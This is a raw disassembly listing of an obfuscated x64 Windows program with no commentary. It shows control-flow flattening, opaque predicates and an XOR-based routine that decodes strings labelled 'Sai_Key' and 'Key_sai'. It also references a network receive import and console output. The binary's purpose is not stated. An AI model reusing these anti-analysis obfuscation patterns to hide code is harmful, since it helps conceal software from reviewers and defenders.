lea rbx, [rbp + 0x1d8]
mov rcx, r14
mov rdx, rbx
call fcn.140027f60
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x1400190ae
xor cl, al
je 0x1400191e2
jmp 0x1400190ae
sub rsp, 0x20
lea rcx, [0x1402b5810]
lea rdx, [rbp - 0x58]
call fcn.14022afb0
add rsp, 0x20
cmp byte [0x1402b5a28], 0
je 0x1400172bd
sub rsp, 0x20
lea rdi, [0x1402b59f0]
lea rbx, [rbp + 0x110]
mov rcx, rdi
mov rdx, rbx
call fcn.140027d60
lea r14, [rbp - 0x10]
mov rcx, rdi
mov rdx, r14
call fcn.140027f60
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x14001f3ab
xor cl, al
je 0x14001f4e4
jmp 0x14001f3ab
mov byte [rbp + 0x120], r12b
mov eax, dword [0x1402b5cd8]
mov ecx, dword [0x1402b5cdc]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x110]
cmp ecx, 0xa
setl byte [rbp + 0x130]
mov qword [rbp + 0x128], rsp
mov eax, 0xc16c5c20
mov r9d, 0x6a38df29
mov r10d, 0x1261810d
mov esi, 0x9a2d9761
mov ebx, 0xf1dca171
mov r14d, 0xaed5d961
mov r15d, 0x505afb3c
mov r13d, 0xb26877c1
jmp 0x1400163b0
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1b0], select
mov rcx, qword [rbp + 0x1b0]
add ecx, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, ecx
mov byte [rax + 6], dl
mov byte [rax + 7], 0
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0xd], 1
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x180]
mov eax, 0xaed5d961
mov rsp, r12
nop dword [rax + rax]
cmp eax, 0xf1dca170
jg 0x140016430
cmp eax, 0xb26877c0
jg 0x1400164a0
cmp eax, 0x9a2d9761
je 0x140016b63
cmp eax, 0x9c825127
je 0x140017207
cmp eax, 0xaed5d961
jne 0x1400163b0
mov r12, rsp
mov rcx, qword [rbp + 0x170]
mov eax, dword [0x1402b5ce0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete al
cmp dword [0x1402b5ce4], 0xa
setl dl
or dl, al
mov r11d, 0xf562987b
mov eax, 0xe2ef500a
cmovne r11d, eax
mov edx, 0xf562987b
cmovne edx, r9d
mov eax, 0x3ccdcbb6
jmp 0x140016530
cmp eax, 0x4cef433b
jle 0x1400164fe
cmp eax, 0x4cef433c
je 0x14001658d
cmp eax, 0x505afb3c
je 0x1400171fd
cmp eax, 0x5c1f2b49
jne 0x1400163b0
mov eax, dword [0x1402b5cd8]
mov ecx, dword [0x1402b5cdc]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x9c825127
cmovne r8d, r13d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r13d
jmp 0x1400171f1
cmp eax, 0xb26877c1
je 0x140016b6d
cmp eax, 0xc16c5c20
je 0x140017229
cmp eax, 0xd5e78047
jne 0x1400163b0
mov eax, dword [0x1402b5cd8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x4cef433c
cmove eax, r14d
cmp dword [0x1402b5cdc], 0xa
mov edx, 0x4cef433c
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x1400163b0
cmp eax, 0xf1dca171
je 0x140016bd5
cmp eax, 0x3a7914c7
jne 0x140017254
mov eax, 0xf1dca171
jmp 0x1400163b0
mov eax, 0x6a38df29
nop word cs:[rax + rax]
cmp eax, 0xf562987a
jle 0x140016570
cmp eax, 0xf562987b
je 0x14001651e
cmp eax, 0x3ccdcbb6
je 0x140016589
cmp eax, 0x6a38df29
jne 0x140016530
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x180], rdi
mov eax, r11d
jmp 0x140016530
cmp eax, 0xdfd6fe6c
je 0x140016c37
cmp eax, 0xe2ef500a
jne 0x140016530
mov eax, 0xdfd6fe6c
jmp 0x140016530
mov eax, edx
jmp 0x140016530
mov r12, rsp
mov rcx, qword [rbp + 0x170]
mov eax, dword [0x1402b5ce0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp dword [0x1402b5ce4], 0xa
setl dl
or dl, al
mov r11d, 0xf562987b
mov eax, 0xe2ef500a
cmovne r11d, eax
mov edx, 0xf562987b
cmovne edx, r9d
mov eax, 0x3ccdcbb6
jmp 0x1400165e0
mov eax, 0x6a38df29
nop
cmp eax, 0xf562987a
jle 0x140016620
cmp eax, 0xf562987b
je 0x1400165d9
cmp eax, 0x3ccdcbb6
je 0x140016635
cmp eax, 0x6a38df29
jne 0x1400165e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x180], rdi
mov eax, r11d
jmp 0x1400165e0
cmp eax, 0xdfd6fe6c
je 0x140016639
cmp eax, 0xe2ef500a
jne 0x1400165e0
mov eax, 0xdfd6fe6c
jmp 0x1400165e0
mov eax, edx
jmp 0x1400165e0
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
movzx edx, byte [rcx]
mov byte [rbp + 0x1e8], dl
mov r11d, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016692
cmp r11d, 0x7ffe3ba1
jne 0x140016670
movsx rdx, byte [rbp + 0x1e8]
mov r11d, 0xf9eb7f57
jmp 0x140016670
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax], r11b
inc rax
mov qword [rbp + 0x200], rax
movzx eax, byte [rcx + 1]
mov byte [rbp + 0x1e8], al
mov edx, 0x7ffe3ba1
cmp edx, 0xf9eb7f57
je 0x1400166ff
cmp edx, 0x7ffe3ba1
jne 0x1400166e0
movsx rax, byte [rbp + 0x1e8]
mov edx, 0xf9eb7f57
jmp 0x1400166e0
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1b0], 1
mov rax, qword [rbp + 0x1b0]
add eax, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, eax
mov byte [rbp + 0x188], dl
mov eax, 0x14be7b8
jmp 0x140016780
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 4
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 3], r11b
add rax, 4
mov qword [rbp + 0x1e8], rax
mov eax, 0x8f0faad0
nop word [rax + rax]
cmp eax, 0x8f0faad0
je 0x1400168b6
cmp eax, 0x14be7b8
jne 0x140016780
mov rax, qword [rbp + 0x200]
movzx edx, byte [rbp + 0x188]
mov byte [rax], dl
mov rax, qword [rbp + 0x200]
movzx edx, byte [rcx + 2]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x1400167e2
cmp r11d, 0x7ffe3ba1
jne 0x1400167c0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x1400167c0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 2
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 1], r8b
movzx edx, byte [rcx + 3]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x140016842
cmp r11d, 0x7ffe3ba1
jne 0x140016820
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016820
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 3
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 2], r11b
movzx edx, byte [rcx + 4]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016731
cmp r11d, 0x7ffe3ba1
jne 0x140016890
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016890
movzx eax, byte [rcx + 5]
mov byte [rbp + 0x1e0], al
mov edx, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp edx, 0xf9eb7f57
je 0x1400168ef
cmp edx, 0x7ffe3ba1
jne 0x1400168d0
movsx rax, byte [rbp + 0x1e0]
mov edx, 0xf9eb7f57
jmp 0x1400168d0
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1b0], 5
mov rax, qword [rbp + 0x1b0]
add eax, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, eax
mov rax, qword [rbp + 0x1e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x1e8]
movzx edx, byte [rcx + 6]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016962
cmp r11d, 0x7ffe3ba1
jne 0x140016940
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016940
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 6
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 1], r8b
movzx edx, byte [rcx + 7]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x1400169c2
cmp r11d, 0x7ffe3ba1
jne 0x1400169a0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x1400169a0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 7
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 2], r11b
movzx edx, byte [rcx + 8]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016a32
cmp r11d, 0x7ffe3ba1
jne 0x140016a10
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016a10
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 8
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 3], r8b
movzx edx, byte [rcx + 9]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x140016a92
cmp r11d, 0x7ffe3ba1
jne 0x140016a70
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016a70
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 9
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 4], r11b
movzx edx, byte [rcx + 0xa]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016b02
cmp r11d, 0x7ffe3ba1
jne 0x140016ae0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016ae0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 0xa
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 5], r8b
movzx ecx, byte [rcx + 0xb]
mov byte [rbp + 0x1e0], cl
mov edx, 0x7ffe3ba1
nop dword [rax + rax]
cmp edx, 0xf9eb7f57
je 0x14001635b
cmp edx, 0x7ffe3ba1
jne 0x140016b40
movsx rcx, byte [rbp + 0x1e0]
mov edx, 0xf9eb7f57
jmp 0x140016b40
mov eax, 0xd5e78047
jmp 0x1400163b0
mov rax, qword [rbp + 0x168]
lea rcx, str._____Sai_Key
mov qword [rax], rcx
mov eax, dword [0x1402b5cd8]
mov ecx, dword [0x1402b5cdc]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x9c825127
cmovne r8d, esi
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, esi
cmp ecx, 0xa
mov rcx, qword [rbp + 0x168]
mov rcx, qword [rcx]
mov qword [rbp + 0x170], rcx
cmovge eax, r8d
jmp 0x1400163b0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov eax, dword [0x1402b5cd8]
mov edx, dword [0x1402b5cdc]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete r12b
cmp edx, 0xa
setl r8b
xor r8b, r12b
mov r8d, 0x3a7914c7
cmovne r8d, r15d
test eax, r11d
mov eax, r8d
cmove eax, r15d
cmp edx, 0xa
mov qword [rbp + 0x168], rcx
cmovge eax, r8d
jmp 0x1400163b0
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
movzx edx, byte [rcx]
mov byte [rbp + 0x1e8], dl
mov r11d, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016c92
cmp r11d, 0x7ffe3ba1
jne 0x140016c70
movsx rdx, byte [rbp + 0x1e8]
mov r11d, 0xf9eb7f57
jmp 0x140016c70
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax], r11b
inc rax
mov qword [rbp + 0x200], rax
movzx eax, byte [rcx + 1]
mov byte [rbp + 0x1e8], al
mov edx, 0x7ffe3ba1
cmp edx, 0xf9eb7f57
je 0x140016cff
cmp edx, 0x7ffe3ba1
jne 0x140016ce0
movsx rax, byte [rbp + 0x1e8]
mov edx, 0xf9eb7f57
jmp 0x140016ce0
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1b0], 1
mov rax, qword [rbp + 0x1b0]
add eax, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, eax
mov byte [rbp + 0x188], dl
mov eax, 0x14be7b8
jmp 0x140016d70
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 4
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 3], r8b
add rax, 4
mov qword [rbp + 0x1e8], rax
mov eax, 0x8f0faad0
nop dword [rax + rax]
cmp eax, 0x8f0faad0
je 0x140016ea6
cmp eax, 0x14be7b8
jne 0x140016d70
mov rax, qword [rbp + 0x200]
movzx edx, byte [rbp + 0x188]
mov byte [rax], dl
mov rax, qword [rbp + 0x200]
movzx edx, byte [rcx + 2]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x140016dd2
cmp r11d, 0x7ffe3ba1
jne 0x140016db0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016db0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 2
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 1], r11b
movzx edx, byte [rcx + 3]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016e42
cmp r11d, 0x7ffe3ba1
jne 0x140016e20
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016e20
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 3
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 2], r8b
movzx edx, byte [rcx + 4]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax]
cmp r11d, 0xf9eb7f57
je 0x140016d31
cmp r11d, 0x7ffe3ba1
jne 0x140016e80
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016e80
movzx eax, byte [rcx + 5]
mov byte [rbp + 0x1e0], al
mov edx, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp edx, 0xf9eb7f57
je 0x140016edf
cmp edx, 0x7ffe3ba1
jne 0x140016ec0
movsx rax, byte [rbp + 0x1e0]
mov edx, 0xf9eb7f57
jmp 0x140016ec0
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1b0], 5
mov rax, qword [rbp + 0x1b0]
add eax, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, eax
mov rax, qword [rbp + 0x1e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x1e8]
movzx edx, byte [rcx + 6]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop word cs:[rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016f52
cmp r11d, 0x7ffe3ba1
jne 0x140016f30
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016f30
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 6
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 1], r11b
movzx edx, byte [rcx + 7]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140016fc2
cmp r11d, 0x7ffe3ba1
jne 0x140016fa0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140016fa0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 7
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 2], r11b
movzx edx, byte [rcx + 8]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140017032
cmp r11d, 0x7ffe3ba1
jne 0x140017010
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140017010
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 8
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 3], r11b
movzx edx, byte [rcx + 9]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x1400170a2
cmp r11d, 0x7ffe3ba1
jne 0x140017080
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x140017080
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 9
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
mov r11d, edx
xor r11d, edx
not r11d
and r11d, r8d
xor r11d, edx
mov byte [rax + 4], r11b
movzx edx, byte [rcx + 0xa]
mov byte [rbp + 0x1e0], dl
mov r11d, 0x7ffe3ba1
nop dword [rax + rax]
cmp r11d, 0xf9eb7f57
je 0x140017112
cmp r11d, 0x7ffe3ba1
jne 0x1400170f0
movsx rdx, byte [rbp + 0x1e0]
mov r11d, 0xf9eb7f57
jmp 0x1400170f0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1b0], 0xa
mov rdx, qword [rbp + 0x1b0]
add edx, 0xb
mov r8, qword [rbp + 0x190]
xor r8d, edx
mov byte [rax + 5], r8b
movzx ecx, byte [rcx + 0xb]
mov byte [rbp + 0x1e0], cl
mov edx, 0x7ffe3ba1
nop dword [rax + rax]
cmp edx, 0xf9eb7f57
je 0x14001716f
cmp edx, 0x7ffe3ba1
jne 0x140017150
movsx rcx, byte [rbp + 0x1e0]
mov edx, 0xf9eb7f57
jmp 0x140017150
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1b0], select
mov rcx, qword [rbp + 0x1b0]
add ecx, 0xb
mov rdx, qword [rbp + 0x190]
xor edx, ecx
mov byte [rax + 6], dl
mov byte [rax + 7], 0
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0xd], 1
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x180]
mov rsp, r12
mov eax, dword [0x1402b5cd8]
mov ecx, dword [0x1402b5cdc]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r11b
xor r11b, r8b
mov r8d, 0x4cef433c
cmovne r8d, r10d
test eax, edx
mov eax, r8d
cmove eax, r10d
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x1400163b0
mov eax, 0x5c1f2b49
jmp 0x1400163b0
mov rax, qword [rbp + 0x168]
lea rcx, str._____Sai_Key
mov qword [rax], rcx
mov rax, qword [rbp + 0x168]
mov eax, 0xb26877c1
jmp 0x1400163b0
movzx ecx, byte [rbp + 0x110]
movzx eax, byte [rbp + 0x130]
mov edx, ecx
xor dl, al
mov edx, 0x3a7914c7
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
jmp 0x1400163b0
cmp eax, 0x1261810d
jne 0x1400163b0
mov rsp, qword [rbp + 0x128]
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x138]
call fcn.140027a90
add rsp, 0x20
mov r12b, byte [rbp + 0x120]
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140018ee2
xor cl, al
je 0x140018f25
jmp 0x140018ee2
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x1400172f2
or cl, al
je 0x1400172f2
nop dword [rax]
jmp 0x1400172f0
mov qword [rbp + 0x120], rsp
mov eax, 0x17d02a33
mov r10d, 0x9ff0b423
mov r11d, 0x500734ed
mov esi, 0xb10778c1
mov edi, 0x937b4b91
mov ebx, 0xfe43e5fa
mov r14d, 0xae339a55
cmp eax, 0x260037e1
je 0x140018c3a
cmp eax, 0x17d02a33
jne 0x14001731f
mov qword [rbp + 0x128], rsp
mov eax, dword [0x1402b5ce8]
mov ecx, dword [0x1402b5cec]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x208]
cmp ecx, 0xa
setl byte [rbp + 0x1d8]
mov eax, 0xd52fc29
jmp 0x1400173cc
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov eax, dword [0x1402b5ce8]
mov edx, dword [0x1402b5cec]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp edx, 0xa
setl r15b
xor r15b, r9b
mov r9d, 0x7a490e84
mov r15d, 0xbe6a9a7f
cmovne r9d, r15d
test eax, r8d
mov eax, r9d
cmove eax, r15d
cmp edx, 0xa
mov qword [rbp + 0x1e0], rcx
cmovge eax, r9d
cmp eax, 0xd52fc28
jle 0x140017421
cmp eax, 0x7a490e84
je 0x140017441
cmp eax, 0x359dd1a3
je 0x14001747e
cmp eax, 0xd52fc29
jne 0x1400173cc
movzx ecx, byte [rbp + 0x208]
movzx eax, byte [rbp + 0x1d8]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x7a490e84
mov r8d, 0x9dfb27ad
cmovne eax, r8d
test cl, cl
mov ecx, 0x7a490e84
cmove eax, ecx
test dl, dl
cmovne eax, r8d
jmp 0x1400173cc
cmp eax, 0x9dfb27ad
je 0x140017369
cmp eax, 0xb6eceb02
je 0x140017448
cmp eax, 0xbe6a9a7f
jne 0x1400173cc
mov eax, 0xb6eceb02
jmp 0x1400173cc
mov eax, 0x9dfb27ad
jmp 0x1400173cc
mov rax, qword [rbp + 0x1e0]
lea rcx, str._____Key_sai
mov qword [rax], rcx
mov rax, rbp
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x1e0]
mov rax, qword [rax]
mov qword [rbp + 0x170], rax
mov eax, 0x359dd1a3
jmp 0x1400173cc
mov r13, qword [rbp + 0x168]
mov r8, qword [rbp + 0x170]
movzx eax, byte [rbp - 0x10]
mov eax, dword [0x1402b5cf0]
mov ecx, dword [0x1402b5cf4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x110]
cmp ecx, 0xa
setl byte [rbp + 0x130]
mov edx, 0xaaf71db4
jmp 0x1400174f0
movzx eax, byte [rbp + 0x110]
movzx ecx, byte [rbp + 0x130]
mov edx, eax
xor dl, cl
mov r9d, 0xf77a51cc
cmovne r9d, ebx
test cl, cl
mov edx, r9d
cmovne edx, ebx
test al, al
cmove edx, r9d
nop dword [rax]
cmp edx, 0xf77a51cb
jg 0x140017570
cmp edx, 0xaaf71db3
jg 0x140017630
cmp edx, 0x953a75c1
je 0x140018bc4
cmp edx, 0x9ff0b423
jne 0x140018c08
mov rax, qword [rbp + 0x190]
movsx rax, byte [rax + 6]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cfc], 0xa
setl cl
or cl, al
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x1400176e0
cmp edx, 0x65b62097
jg 0x140017660
cmp edx, 0xf77a51cc
je 0x140017d7f
cmp edx, 0xfe43e5fa
jne 0x1400174f0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov qword [rax], r8
mov qword [rbp + 0x180], r13
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx]
mov qword [rbp + 0x1b0], rcx
mov ecx, dword [0x1402b5cf8]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
cmp dword [0x1402b5cfc], 0xa
setge dl
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
mov ecx, 0xd56ccb21
cmovne ecx, r11d
mov r9d, 0xd56ccb21
cmovne r9d, esi
mov edx, 0x6e8b7459
jmp 0x140017760
cmp edx, 0xaaf71db4
je 0x1400174c2
cmp edx, 0xae339a55
jne 0x1400174f0
mov edx, 0x65b62098
jmp 0x1400174f0
cmp edx, 0x65b62098
je 0x140017e49
cmp edx, 0x704805a0
jne 0x1400174f0
mov rax, qword [rbp + 0x190]
movsx rax, byte [rax + 6]
mov qword [rbp + 0x1b0], rax
mov eax, dword [0x1402b5cf8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5cfc], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, 0xd56ccb21
cmovne eax, r11d
mov edx, 0xd56ccb21
cmovne edx, esi
mov ecx, 0x6e8b7459
jmp 0x1400177e0
mov ecx, edx
